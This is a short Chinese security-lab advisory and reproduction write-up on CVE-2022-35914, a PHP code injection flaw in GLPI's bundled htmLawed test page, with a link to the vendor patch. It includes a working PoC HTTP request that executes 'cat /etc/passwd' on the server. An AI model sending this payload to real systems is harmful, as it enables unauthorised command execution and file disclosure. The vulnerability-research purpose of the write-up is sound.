网安引领时代，弥天点亮未来
GLPI是个人开发者的一款开源IT和资产管理软件。该软件提供功能全面的IT资源管理接口，你可以用它来建立数据库全面管理IT的电脑，显示器，服务器，打印机，网络设备，电话，甚至硒鼓和墨盒等。GLPI 10.0.2及之前版本存在安全漏洞，该漏洞源于htmlawed 模块中的/vendor/htmlawed/htmlawed/htmLawedTest.php允许 PHP 代码注入。
GLPI 10.0.2及之前版本存在安全漏洞
1.访问漏洞环境
2.对漏洞进行复现
POC
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36Connection: closeContent-Length: 39Content-Type: application/x-www-form-urlencodedCookie: sid=fooAccept-Encoding: gzipsid=foo&hhook=exec&text=cat+/etc/passwd
3.nuclei工具测试（漏洞存在）
目前厂商已发布升级补丁以修复漏洞
https://glpi-project.org/fr/glpi-10-0-3-disponible/
原文始发于微信公众号（弥天安全实验室）：GLPI 代码执行漏洞(CVE-2022-35914)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论